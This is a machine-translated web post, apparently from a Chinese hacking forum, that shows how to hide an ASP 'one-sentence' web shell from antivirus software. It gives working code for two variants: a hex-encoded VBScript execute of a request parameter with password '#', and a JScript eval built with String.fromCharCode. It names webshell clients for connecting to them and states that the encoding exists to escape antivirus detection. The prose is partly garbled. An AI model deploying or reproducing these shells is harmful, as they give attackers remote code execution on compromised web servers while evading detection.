Asp Trojan encryption (remove % in asp)

Source: Internet
Author: User

Comments: Do not know how to express clearly. Let's take a look at the example: <script language = vbs runat = server> Execute (HextoStr ("65786563757465287265717565737428636872283335292929") Function HextoStr (data) hextoStr = "EXECUTE" does not know how to express it clearly. Let's look at the example:

<Script language = vbs runat = server>
Execute (HextoStr ("65786563757465287265717565737428636872283335292929 "))
Function HextoStr (data)
HextoStr = "EXECUTE """""
C = "& CHR (& H"
N = ")"


Do While Len (data)> 1
If IsNumeric (Left (data, 1) Then
HextoStr = HextoStr & C & Left (data, 2) & N
Data = Mid (data, 3)
Else
HextoStr = HextoStr & C & Left (data, 4) & N
Data = Mid (data, 5)
End If
Loop
End Function
</Script>
<Script runat = server language = JAVASCRIPT> eval (String. fromCharCode (
116,114,121,123,101,118, 97,108, 101,113,117,101,115,116, 46,102,111,114,109, 41,125, 123,125,) </SCRIPt>


However, encryption is not a single sentence, haha. This send can be connected using Haiyang or binghu. The password is #.

In fact, I only wrote the <script language = vbs runat = server> method. The code inside can be encrypted and decrypted using multiple encryption methods, such as js or vbs, save asp only the Microsoft stuff that can be encrypted, while saving the % Number in asp. Of course, you can do it without encryption. Calling <script language = vbs runat = server> is still a sentence. encryption is mainly used to escape anti-virus software.

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